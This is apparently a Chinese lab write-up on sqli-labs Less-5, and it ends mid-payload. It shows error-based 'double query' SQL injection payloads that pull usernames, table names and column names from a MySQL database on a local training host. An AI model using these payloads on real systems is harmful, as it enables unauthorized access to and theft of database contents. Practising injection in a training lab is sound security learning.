实验 注入地址: http://192.168.230.130/trainer/Less-5/?id=1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 这种类型的注入问了很多人,最后得到了【双查询注入】。我一直以为是 【double 查询注入】,果然一定要严谨,严谨,再严谨。 只有这样才能建立良好的思维导图。 payload:1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 出现的结果会是下图地两种情况,随机刷新出结果来: 查询表字段信息: payload:1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select column_name from information_schema.columns where TABLE_NAME='emails' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 查询数据信息:(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 3,1),0x3a,0x3a, floor(rand...